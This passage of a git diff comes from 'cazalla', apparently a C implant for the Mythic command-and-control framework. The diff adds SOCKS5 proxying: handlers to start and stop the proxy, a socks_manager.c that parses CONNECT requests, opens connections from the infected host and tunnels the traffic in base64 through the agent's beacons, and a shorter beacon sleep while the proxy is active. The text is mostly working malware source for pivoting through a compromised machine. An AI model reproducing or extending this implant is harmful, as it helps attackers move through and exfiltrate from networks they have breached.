} else { + DBG_PRINTF("socks_manager_start_proxy(%u) rc=%d", localPort, rc); + PackageAddFormatPrintf(salida, FALSE, "Failed to start SOCKS proxy on port %u (rc=%d)\n", localPort, rc); + } + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + + // Enviar respuesta + Analizador* respuestaAnalizador = mandarPaquete(respuesta); + liberarPaquete(salida); + if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador); + + if (analizadorTarea) liberarAnalizador(analizadorTarea); +} + +/* ============================ + STOP_SOCKS_CMD handler + Expected params: + - 36 bytes: UUID del task + Behavior: + - call socks_manager_stop_proxy() + - call socks_manager_cleanup() + - send response back to Mythic + ============================ */ +static void stopSocksHandler(PAnalizador analizadorTarea) { + DBG_PRINTF("stopSocksHandler() enter"); + + // Leer el UUID del task (primeros 36 bytes) + SIZE_T uuidLen = 36; + PCHAR taskUuid = getString(analizadorTarea, &uuidLen); + DBG_PRINTF("stopSocksHandler: taskId=%.*s", 36, taskUuid); + + int rc = socks_manager_stop_proxy(); + DBG_PRINTF("socks_manager_stop_proxy() rc=%d", rc); + + socks_manager_cleanup(); + DBG_PRINTF("socks_manager_cleanup() done"); + + // Crear respuesta para Mythic + PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente + addString(respuesta, taskUuid, FALSE); // Task UUID + + // Crear paquete temporal para el output + PPaquete salida = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salida, FALSE, "SOCKS proxy stopped\n"); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + + // Enviar respuesta + Analizador* respuestaAnalizador = mandarPaquete(respuesta); + liberarPaquete(salida); + if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador); + + if (analizadorTarea) liberarAnalizador(analizadorTarea); +} diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h index 0967869..d86e27c 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h @@ -22,16 +22,21 @@ #define SLEEP_CMD 0x38 #define PROCESS_CMD 0x15 -#define CD_CMD 0x20 -#define LS_CMD 0x21 -#define PWD_CMD 0x22 -#define CP_CMD 0x23 -#define MKDIR_CMD 0x24 -#define RM_CMD 0x25 +#define CD_CMD 0x20 +#define LS_CMD 0x21 +#define PWD_CMD 0x22 +#define CP_CMD 0x23 +#define MKDIR_CMD 0x24 +#define RM_CMD 0x25 +/* New SOCKS control commands (agent-side) */ +#define START_SOCKS_CMD 0x60 +#define STOP_SOCKS_CMD 0x61 +/* Extension marker to carry SOCKS array in binary messages */ +#define SOCKS_BLOCK_MARKER 0xF5 BOOL parseChecking(PAnalizador respuestaAnalizador); BOOL rutina(); -#endif \ No newline at end of file +#endif diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/identity.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/identity.c index 986e0b8..44abb16 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/identity.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/identity.c @@ -23,7 +23,8 @@ BOOL IdentityGetUserInfo(_In_ HANDLE hToken, _Out_ char* buffer, _In_ int tamano return FALSE; } - sprintf_s(buffer, tamano, "%s\\%s", dominio, nombre); + /* Use wsprintfA for MinGW portability without requiring nonstandard _snprintf */ + wsprintfA(buffer, "%s\\%s", dominio, nombre); buffer[tamano - 1] = 0; return TRUE; } \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c index 2ad6d0c..f3a8837 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c @@ -1,12 +1,14 @@ #include "cazalla.h" +#include -//#ifdef _DEBUG -//int main() -//#else -//int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow) -//#endif -{ +int main() { + printf("=== CAZALLA AGENT STARTING ===\n"); + fflush(stdout); + Sleep(2000); // Pausa 2 segundos para ver si inicia cazallaMain(); - + printf("=== CAZALLA AGENT EXITING ===\n"); + fflush(stdout); + printf("Press any key to exit...\n"); + getchar(); return 0; -} \ No newline at end of file +} diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c index d5d00d2..3b29781 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c @@ -1,9 +1,16 @@ #include "cazalla.h" #include "paquete.h" +#include "socks_manager.h" -//Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete. +#ifdef DEBUG_SOCKS +#define DBG_PRINTF(...) do { fprintf(stderr, "[PAQDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0) +#else +#define DBG_PRINTF(...) ((void)0) +#endif + +// Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete. PPaquete nuevoPaquete(BYTE idComando, BOOL init) { - //v2 change to syscalls + DBG_PRINTF("nuevoPaquete(idComando=0x%02X, init=%d)", idComando, init); PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete)); if (!paquete) { _err("Error: fallo al asignar memoria para Paquete\n"); @@ -24,31 +31,98 @@ PPaquete nuevoPaquete(BYTE idComando, BOOL init) { } VOID liberarPaquete(PPaquete paquete) { - + DBG_PRINTF("liberarPaquete()"); LocalFree(paquete->buffer); LocalFree(paquete); - } +/* Callback C para volcar mensajes SOCKS al paquete */ +static void flush_socks_cb(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len, void *ctx) { + PPaquete pkt = (PPaquete)ctx; + printf("[SOCKS] flush_socks_cb: sid=%u exit=%d len=%zu\n", server_id, exit_flag, data_len); + fflush(stdout); + addInt32(pkt, server_id); + addByte(pkt, (BYTE)(exit_flag ? 1 : 0)); + if (data_len && data) { + char *b64 = b64Codificado(data, (SIZE_T)data_len); + SIZE_T b64len = b64 ? strlen(b64) : 0; + addInt32(pkt, (UINT32)b64len); + if (b64len) addBytes(pkt, (PBYTE)b64, b64len, FALSE); + if (b64) LocalFree(b64); + } else { + addInt32(pkt, 0); + } + printf("[SOCKS] flush_socks_cb completed\n"); + fflush(stdout); +} + +/* === Nueva función: inserta tráfico SOCKS pendiente === */ +static VOID flushSocksTraffic(PPaquete paquete) { + printf("[PAQUETE] flushSocksTraffic()\n"); + fflush(stdout); + /* Emit marker and number of SOCKS messages if there are any; we buffer to temp first */ + PPaquete temp = nuevoPaquete(0, FALSE); + if (!temp) { + printf("[PAQUETE] ERROR: nuevoPaquete temp failed\n"); + fflush(stdout); + return; + } + printf("[PAQUETE] temp paquete created\n"); + fflush(stdout); + + socks_manager_flush_outgoing(flush_socks_cb, (void*)temp); + printf("[PAQUETE] socks_manager_flush_outgoing done, temp->length=%zu\n", temp->length); + fflush(stdout); + + if (temp->length > 0) { + printf("[PAQUETE] Adding SOCKS block marker\n"); + fflush(stdout); + /* Frame: 0xF5 | [Int32 total_len] | [temp bytes] */ + addByte(paquete, (BYTE)SOCKS_BLOCK_MARKER); + addInt32(paquete, (UINT32)temp->length); + addBytes(paquete, (PBYTE)temp->buffer, temp->length, FALSE); + } + liberarPaquete(temp); + printf("[PAQUETE] flushSocksTraffic() completed\n"); + fflush(stdout); +} + +/* === Enviar paquete con soporte SOCKS === */ PAnalizador mandarPaquete(PPaquete paquete) { + printf("[PAQUETE] mandarPaquete() len=%zu\n", paquete->length); + fflush(stdout); + + // Solo añadir tráfico SOCKS si el proxy está activo + if (socks_proxy_active) { + printf("[PAQUETE] SOCKS activo, flushSocksTraffic()\n"); + fflush(stdout); + flushSocksTraffic(paquete); + } else { + printf("[PAQUETE] SOCKS inactivo, saltando flushSocksTraffic()\n"); + fflush(stdout); + } PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length); SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length); + printf("[PAQUETE] Enviando paquete base64 de %zu bytes\n", tamanoDelPaquete); + fflush(stdout); PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete); if (!respuesta) { - + printf("[PAQUETE] ERROR: respuesta NULL\n"); + fflush(stdout); paqueteParaMandar = NULL; return NULL; } + printf("[PAQUETE] respuesta OK\n"); + fflush(stdout); return respuesta; - } +/* === Funciones auxiliares === */ BOOL addByte(PPaquete paquete, BYTE byte) { - //v2. Syscalls paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(BYTE), LMEM_MOVEABLE); if (!paquete->buffer) { return FALSE; @@ -58,33 +132,27 @@ BOOL addByte(PPaquete paquete, BYTE byte) { return TRUE; } - BOOL addInt32(PPaquete paquete, UINT32 valor) { - paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT32), LMEM_MOVEABLE | LMEM_ZEROINIT); if (!paquete->buffer) { return FALSE; } - addInt32ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor); paquete->length += sizeof(UINT32); return TRUE; } BOOL addInt64(PPaquete paquete, UINT64 valor) { - paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT64), LMEM_MOVEABLE | LMEM_ZEROINIT); if (!paquete->buffer) { return FALSE; } - addInt64ToBuffer((PUCHAR)(paquete->buffer), valor); paquete->length += sizeof(UINT64); return TRUE; } BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) { - if (tamanoCopia && tamano) { if (!addInt32(paquete, tamano)) { return FALSE; @@ -95,10 +163,6 @@ BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) { if (!paquete->buffer) { return FALSE; } - if (tamanoCopia) { - addInt32ToBuffer((PUCHAR)paquete->buffer + (paquete->length - sizeof(UINT32)), tamano); - } - //v2.syscalls memcpy((PBYTE)paquete->buffer + paquete->length, datos, tamano); paquete->length += tamano; } @@ -106,7 +170,6 @@ BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) { } BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia) { - if (!addBytes(paquete, (PBYTE)datos, strlen(datos), tamanoCopia)) { return FALSE; } @@ -120,33 +183,24 @@ BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia) { return TRUE; } -BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...) -{ +BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...) { va_list args; va_start(args, fmt); - - // Determine how much space is needed for the formatted string - int requiredLength = vsnprintf(NULL, 0, fmt, args) + 1; // +1 for null terminator - + int requiredLength = vsnprintf(NULL, 0, fmt, args) + 1; va_end(args); - // Allocate a temporary buffer for the formatted string char* tempBuffer = (char*)malloc(requiredLength); - if (tempBuffer == NULL) - { - return FALSE; // Memory allocation failed - } + if (!tempBuffer) return FALSE; va_start(args, fmt); vsnprintf(tempBuffer, requiredLength, fmt, args); va_end(args); - // Use addString to add the formatted string to the package - if (!addString(package, tempBuffer, copySize)) + if (!addString(package, tempBuffer, copySize)) { + free(tempBuffer); return FALSE; + } - // Free the temporary buffer free(tempBuffer); - return TRUE; } diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h index 5511a7c..47c5fc3 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h @@ -28,4 +28,7 @@ BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia); BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia); BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia); +/* Formatted append helper */ +BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...); + #endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/procesos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/procesos.c index 151b802..0faa2b5 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/procesos.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/procesos.c @@ -4,6 +4,10 @@ #include "analizador.h" #include "identity.h" #include "spawn.h" + +/* forward decls to avoid implicit warnings */ +BOOL SelfIsWindowsVistaOrLater(); +BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...); #include BOOL obtenerNombreDelToken(HANDLE hProcess, char* nombreCuenta, int tamano) { diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.c index d452111..cf3c66f 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.c @@ -1,5 +1,12 @@ #include "sleep.h" #include "cazalla.h" +#include "socks_manager.h" + +#ifdef DEBUG_SOCKS +#define DBG_PRINTF(...) do { fprintf(stderr, "[SLEEPDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0) +#else +#define DBG_PRINTF(...) ((void)0) +#endif BOOL sleep(PAnalizador argumentos) { @@ -16,30 +23,39 @@ BOOL sleep(PAnalizador argumentos) { const int minVarianza = 1; const int rangoVarianza = maxVarianza / 2; - int Rand = aleatorioInt32(0, rangoVarianza); - tiempoSleep += Rand; - if (tiempoSleep < minVarianza) { tiempoSleep = minVarianza; } - if (cazallaConfig == NULL) { _err("Error: cazallaConfig no ha sido inicializado.\n"); return FALSE; } _dbg("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep); + + /* convertir a milisegundos */ tiempoSleep = tiempoSleep * 1000; + + /* Si el proxy SOCKS está activo, fuerza intervalos más cortos */ + if (socks_proxy_active) { + DBG_PRINTF("SOCKS activo → ajustando sleep corto dinámico"); + if (tiempoSleep > 5000) tiempoSleep = 5000; // máximo 5 segundos + } + cazallaConfig->tiempoSleep = tiempoSleep; + DBG_PRINTF("Nuevo tiempoSleep configurado: %u ms", tiempoSleep); + + /* respuesta al servidor */ PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE); addString(respuestaTarea, tareaUuid, FALSE); addInt32(respuestaTarea, tiempoSleep); mandarPaquete(respuestaTarea); + liberarPaquete(respuestaTarea); return TRUE; -} \ No newline at end of file +} diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.h index 5fa8427..a2bd177 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.h @@ -7,7 +7,8 @@ #include "analizador.h" #include "comandos.h" #include "utils.h" +#include "socks_manager.h" // <— añadido para acceder al flag socks_proxy_active BOOL sleep(PAnalizador argumentos); -#endif \ No newline at end of file +#endif diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/socks_manager.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/socks_manager.c new file mode 100644 index 0000000..d0baea9 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/socks_manager.c @@ -0,0 +1,569 @@ +#include "socks_manager.h" +#include +#include +#include +#include "utils.h" +#include +#include + +#ifdef _WIN32 + //#include + //#include + #pragma comment(lib,"Ws2_32.lib") + typedef SOCKET sock_t; + #define CLOSESOCK(s) closesocket(s) +#else + #include + #include + #include + #include + #include + #include + #include + typedef int sock_t; + #define INVALID_SOCKET -1 + #define SOCKET_ERROR -1 + #define CLOSESOCK(s) close(s) +#endif + +#ifdef DEBUG_SOCKS + #define DBG_PRINTF(...) do { fprintf(stderr, "[SOCKSDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0) +#else + #define DBG_PRINTF(...) ((void)0) +#endif + +volatile int socks_proxy_active = 0; // Flag global de estado SOCKS + +typedef struct conn_entry { + uint32_t server_id; + sock_t sock; + struct conn_entry *next; + int closed; +} conn_entry_t; + +static conn_entry_t *conn_list = NULL; +#ifdef _WIN32 +static CRITICAL_SECTION conn_lock; +#else +static pthread_mutex_t conn_lock = PTHREAD_MUTEX_INITIALIZER; +#endif + +typedef struct outgoing_node { + socks_msg_t msg; + struct outgoing_node *next; +} outgoing_node_t; +static outgoing_node_t *out_head = NULL; +static outgoing_node_t *out_tail = NULL; + +#ifdef _WIN32 +static CRITICAL_SECTION out_lock; +#else +static pthread_mutex_t out_lock = PTHREAD_MUTEX_INITIALIZER; +#endif + +static void lock_init_once(void) { +#ifdef _WIN32 + InitializeCriticalSection(&conn_lock); + InitializeCriticalSection(&out_lock); +#endif +} + +/* === Inicialización / limpieza === */ + +void socks_manager_init(void) { + DBG_PRINTF("socks_manager_init()"); + lock_init_once(); +#ifdef _WIN32 + WSADATA wsa; + WSAStartup(MAKEWORD(2,2), &wsa); +#endif +} + +void socks_manager_cleanup(void) { + DBG_PRINTF("socks_manager_cleanup()"); +#ifdef _WIN32 + EnterCriticalSection(&conn_lock); +#else + pthread_mutex_lock(&conn_lock); +#endif + conn_entry_t *cur = conn_list; + while (cur) { + if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock); + conn_entry_t *n = cur->next; + free(cur); + cur = n; + } + conn_list = NULL; +#ifdef _WIN32 + LeaveCriticalSection(&conn_lock); + DeleteCriticalSection(&conn_lock); + DeleteCriticalSection(&out_lock); + WSACleanup(); +#else + pthread_mutex_unlock(&conn_lock); +#endif + socks_proxy_active = 0; +} + +/* === Gestión de conexiones === */ + +static conn_entry_t* find_entry(uint32_t server_id) { +#ifdef _WIN32 + EnterCriticalSection(&conn_lock); +#else + pthread_mutex_lock(&conn_lock); +#endif + conn_entry_t *cur = conn_list; + while (cur) { + if (cur->server_id == server_id) { +#ifdef _WIN32 + LeaveCriticalSection(&conn_lock); +#else + pthread_mutex_unlock(&conn_lock); +#endif + return cur; + } + cur = cur->next; + } +#ifdef _WIN32 + LeaveCriticalSection(&conn_lock); +#else + pthread_mutex_unlock(&conn_lock); +#endif + return NULL; +} + +static conn_entry_t* create_entry(uint32_t server_id, sock_t s) { + conn_entry_t *e = malloc(sizeof(conn_entry_t)); + if (!e) return NULL; + e->server_id = server_id; + e->sock = s; + e->next = NULL; + e->closed = 0; +#ifdef _WIN32 + EnterCriticalSection(&conn_lock); +#else + pthread_mutex_lock(&conn_lock); +#endif + e->next = conn_list; + conn_list = e; +#ifdef _WIN32 + LeaveCriticalSection(&conn_lock); +#else + pthread_mutex_unlock(&conn_lock); +#endif + DBG_PRINTF("create_entry sid=%u sock=%d", server_id, (int)s); + return e; +} + +static void remove_entry(uint32_t server_id) { +#ifdef _WIN32 + EnterCriticalSection(&conn_lock); +#else + pthread_mutex_lock(&conn_lock); +#endif + conn_entry_t *cur = conn_list, *prev = NULL; + while (cur) { + if (cur->server_id == server_id) { + if (prev) prev->next = cur->next; + else conn_list = cur->next; + if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock); + DBG_PRINTF("remove_entry sid=%u", server_id); + free(cur); + break; + } + prev = cur; + cur = cur->next; + } +#ifdef _WIN32 + LeaveCriticalSection(&conn_lock); +#else + pthread_mutex_unlock(&conn_lock); +#endif +} + +/* === Cola de salida === */ + +static void enqueue_outgoing(socks_msg_t *m) { + printf("[SOCKS_MGR] enqueue_outgoing: sid=%u exit=%d len=%zu\n", m->server_id, m->exit_flag, m->data_len); + fflush(stdout); + outgoing_node_t *n = malloc(sizeof(outgoing_node_t)); + memset(n,0,sizeof(*n)); + n->msg.server_id = m->server_id; + n->msg.exit_flag = m->exit_flag; + n->msg.data_len = m->data_len; + if (m->data_len) { + n->msg.data = malloc(m->data_len); + memcpy(n->msg.data, m->data, m->data_len); + } else n->msg.data = NULL; + n->next = NULL; +#ifdef _WIN32 + EnterCriticalSection(&out_lock); +#else + pthread_mutex_lock(&out_lock); +#endif + if (!out_tail) out_head = out_tail = n; + else { out_tail->next = n; out_tail = n; } +#ifdef _WIN32 + LeaveCriticalSection(&out_lock); +#else + pthread_mutex_unlock(&out_lock); +#endif + printf("[SOCKS_MGR] Mensaje encolado OK (sid=%u)\n", m->server_id); + fflush(stdout); + DBG_PRINTF("enqueue sid=%u exit=%d len=%zu", m->server_id, m->exit_flag, m->data_len); +} + +/* === Volcado de cola de salida === */ +void socks_manager_flush_outgoing(socks_send_cb_t cb, void *ctx) { + printf("[SOCKS_MGR] flush_outgoing: iniciando\n"); + fflush(stdout); + if (!cb) { + printf("[SOCKS_MGR] ERROR: callback es NULL\n"); + fflush(stdout); + return; + } +#ifdef _WIN32 + EnterCriticalSection(&out_lock); +#else + pthread_mutex_lock(&out_lock); +#endif + outgoing_node_t *n = out_head; + out_head = out_tail = NULL; +#ifdef _WIN32 + LeaveCriticalSection(&out_lock); +#else + pthread_mutex_unlock(&out_lock); +#endif + + int count = 0; + while (n) { + count++; + printf("[SOCKS_MGR] flush_outgoing: procesando mensaje #%d (sid=%u exit=%d len=%zu)\n", + count, n->msg.server_id, n->msg.exit_flag, n->msg.data_len); + fflush(stdout); + outgoing_node_t *next = n->next; + cb(n->msg.server_id, n->msg.exit_flag, n->msg.data, n->msg.data_len, ctx); + if (n->msg.data) free(n->msg.data); + free(n); + n = next; + } + printf("[SOCKS_MGR] flush_outgoing: completado (%d mensajes procesados)\n", count); + fflush(stdout); +} + +/* === Base64 === */ +extern int base64_decode(const char *b64, unsigned char **out, size_t *out_len); +extern int base64_encode(const unsigned char *data, size_t dlen, char **out_b64); + +/* === Parseo SOCKS5 === */ +static int parse_socks5_connect(const unsigned char *data, size_t data_len, char *out_ip, size_t ip_sz, uint16_t *out_port) { + if (data_len < 7) return -1; + if (data[0] == 0x05) { + if (data_len >= 10 && data[1] == 0x01 && data[2] == 0x00) { + unsigned char atyp = data[3]; + if (atyp == 0x01 && data_len >= 10) { + snprintf(out_ip, ip_sz, "%u.%u.%u.%u", data[4], data[5], data[6], data[7]); + *out_port = (uint16_t)((data[8] << 8) | data[9]); + return 0; + } else if (atyp == 0x03) { + unsigned int len = data[4]; + if (data_len >= 7 + len) { + memcpy(out_ip, &data[5], len); + out_ip[len] = 0; + *out_port = (uint16_t)((data[5+len] << 8) | data[6+len]); + return 0; + } + } + } + } + return -1; +} + +/* === Thread lector === */ +#ifdef _WIN32 +DWORD WINAPI remote_reader_thread(LPVOID arg); +#else +static void* remote_reader_thread(void* arg); +#endif + +typedef struct reader_args { + uint32_t server_id; + sock_t s; +} reader_args_t; + +#ifdef _WIN32 +DWORD WINAPI remote_reader_thread(LPVOID arg) { + reader_args_t *ra = (reader_args_t*)arg; + uint32_t sid = ra->server_id; + sock_t s = ra->s; + free(ra); + printf("[READER] Thread iniciado para sid=%u socket=%d\n", sid, (int)s); + fflush(stdout); + unsigned char buf[4096]; + int loop_count = 0; + while (1) { + loop_count++; + printf("[READER] sid=%u loop #%d, llamando recv()...\n", sid, loop_count); + fflush(stdout); + int r = recv(s, (char*)buf, sizeof(buf), 0); + printf("[READER] sid=%u recv() retornó r=%d", sid, r); + if (r < 0) { + int err = WSAGetLastError(); + printf(" WSAError=%d", err); + } + printf("\n"); + fflush(stdout); + if (r <= 0) break; + printf("[READER] sid=%u recibió %d bytes, encolando...\n", sid, r); + fflush(stdout); + DBG_PRINTF("reader sid=%u recv=%d", sid, r); + socks_msg_t m = {sid, 0, buf, (size_t)r}; + enqueue_outgoing(&m); + printf("[READER] sid=%u datos encolados OK\n", sid); + fflush(stdout); + } + printf("[READER] sid=%u salió del loop, cerrando socket\n", sid); + fflush(stdout); + DBG_PRINTF("reader sid=%u closing", sid); + socks_msg_t m2 = {sid, 1, NULL, 0}; + enqueue_outgoing(&m2); + CLOSESOCK(s); + printf("[READER] Thread terminado para sid=%u\n", sid); + fflush(stdout); + return 0; +} +#else +static void* remote_reader_thread(void* arg) { + reader_args_t *ra = (reader_args_t*)arg; + uint32_t sid = ra->server_id; + sock_t s = ra->s; + free(ra); + unsigned char buf[4096]; + while (1) { + ssize_t r = recv(s, buf, sizeof(buf), 0); + if (r <= 0) break; + DBG_PRINTF("reader sid=%u recv=%zd", sid, r); + socks_msg_t m = {sid, 0, buf, (size_t)r}; + enqueue_outgoing(&m); + } + DBG_PRINTF("reader sid=%u closing", sid); + socks_msg_t m2 = {sid, 1, NULL, 0}; + enqueue_outgoing(&m2); + CLOSESOCK(s); + return NULL; +} +#endif + +/* === Conexión remota === */ +typedef struct { + uint32_t ipv4; // en network byte order + uint16_t port; // en network byte order +} socks_bound_addr_t; + +static int connect_and_spawn_reader(const char *dest, uint16_t port, uint32_t server_id, socks_bound_addr_t *bound) { + printf("[SOCKS_MGR] connect_and_spawn_reader: dest=%s port=%u sid=%u\n", dest, port, server_id); + fflush(stdout); + if (server_id == 0) { + printf("[SOCKS_MGR] ERROR: invalid server_id=%u\n", server_id); + fflush(stdout); + DBG_PRINTF("invalid server_id=%u (ignored)", server_id); + return -4; + } + DBG_PRINTF("connect_and_spawn_reader dest=%s port=%u sid=%u", dest, port, server_id); + struct sockaddr_in sa; + sock_t s = socket(AF_INET, SOCK_STREAM, 0); + if (s == INVALID_SOCKET) { + printf("[SOCKS_MGR] ERROR: socket() failed\n"); + fflush(stdout); + return -1; + } + printf("[SOCKS_MGR] Socket creado OK\n"); + fflush(stdout); + memset(&sa,0,sizeof(sa)); + sa.sin_family = AF_INET; + sa.sin_port = htons(port); + if (inet_pton(AF_INET, dest, &sa.sin_addr) <= 0) { + printf("[SOCKS_MGR] Resolviendo hostname: %s\n", dest); + fflush(stdout); + struct hostent *h = gethostbyname(dest); + if (!h) { + printf("[SOCKS_MGR] ERROR: gethostbyname failed\n"); + fflush(stdout); + CLOSESOCK(s); + return -2; + } + sa.sin_addr = *(struct in_addr*)h->h_addr; + printf("[SOCKS_MGR] Hostname resuelto OK\n"); + fflush(stdout); + } + printf("[SOCKS_MGR] Conectando a %s:%u...\n", dest, port); + fflush(stdout); + if (connect(s, (struct sockaddr*)&sa, sizeof(sa)) != 0) { + printf("[SOCKS_MGR] ERROR: connect() failed errno=%d\n", errno); + fflush(stdout); + DBG_PRINTF("connect() failed errno=%d", errno); + CLOSESOCK(s); + return -3; + } + printf("[SOCKS_MGR] Conexión exitosa!\n"); + fflush(stdout); + + /* Guardar la dirección bound (la IP/puerto del destino conectado) */ + if (bound) { + bound->ipv4 = sa.sin_addr.s_addr; // ya en network byte order + bound->port = sa.sin_port; // ya en network byte order + printf("[SOCKS_MGR] Bound addr: %08X:%u\n", ntohl(bound->ipv4), ntohs(bound->port)); + fflush(stdout); + } + + /* timeout para evitar bloqueo indefinido */ + int timeout_ms = 15000; // 15s + setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout_ms, sizeof(timeout_ms)); + DBG_PRINTF("socket timeout set %d ms", timeout_ms); + + printf("[SOCKS_MGR] Creando entry para sid=%u\n", server_id); + fflush(stdout); + create_entry(server_id, s); +#ifdef _WIN32 + reader_args_t *ra = malloc(sizeof(reader_args_t)); + ra->server_id = server_id; ra->s = s; + printf("[SOCKS_MGR] Creando thread lector para sid=%u\n", server_id); + fflush(stdout); + CreateThread(NULL,0, remote_reader_thread, ra, 0, NULL); +#else + pthread_t tid; + reader_args_t *ra = malloc(sizeof(reader_args_t)); + ra->server_id = server_id; ra->s = s; + pthread_create(&tid, NULL, remote_reader_thread, ra); + pthread_detach(tid); +#endif + printf("[SOCKS_MGR] connect_and_spawn_reader completado OK para sid=%u\n", server_id); + fflush(stdout); + return 0; +} + +/* === Procesamiento principal === */ +int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len) { + printf("[SOCKS_MGR] process_incoming: sid=%u exit=%d len=%zu\n", server_id, exit_flag, data_len); + fflush(stdout); + DBG_PRINTF("incoming sid=%u exit=%d len=%zu", server_id, exit_flag, data_len); + if (server_id == 0) { + printf("[SOCKS_MGR] ERROR: invalid server_id=%u\n", server_id); + fflush(stdout); + DBG_PRINTF("invalid server_id=%u", server_id); + return -4; + } + + if (exit_flag) { + printf("[SOCKS_MGR] Exit flag set, removiendo entry sid=%u\n", server_id); + fflush(stdout); + remove_entry(server_id); + socks_msg_t m = {server_id, 1, NULL, 0}; + enqueue_outgoing(&m); + return 0; + } + + conn_entry_t *e = find_entry(server_id); + if (!e) { + char dest[256]; uint16_t dport=0; + int r = parse_socks5_connect(data, data_len, dest, sizeof(dest), &dport); + printf("[SOCKS_MGR] Nueva conexión: sid=%u parse_rc=%d dest=%s port=%u\n", server_id, r, dest, dport); + fflush(stdout); + DBG_PRINTF("sid=%u new conn parse_rc=%d dest=%s port=%u", server_id, r, dest, dport); + if (r != 0) return -1; + + socks_bound_addr_t bound; + memset(&bound, 0, sizeof(bound)); + int rc = connect_and_spawn_reader(dest, dport, server_id, &bound); + printf("[SOCKS_MGR] connect_and_spawn_reader rc=%d\n", rc); + fflush(stdout); + DBG_PRINTF("connect_and_spawn_reader rc=%d", rc); + if (rc != 0) { + printf("[SOCKS_MGR] ERROR: connect_and_spawn_reader falló con rc=%d\n", rc); + fflush(stdout); + return -2; + } + + /* Construir respuesta SOCKS5 con bound address real */ + unsigned char reply[10]; + reply[0] = 0x05; // SOCKS5 + 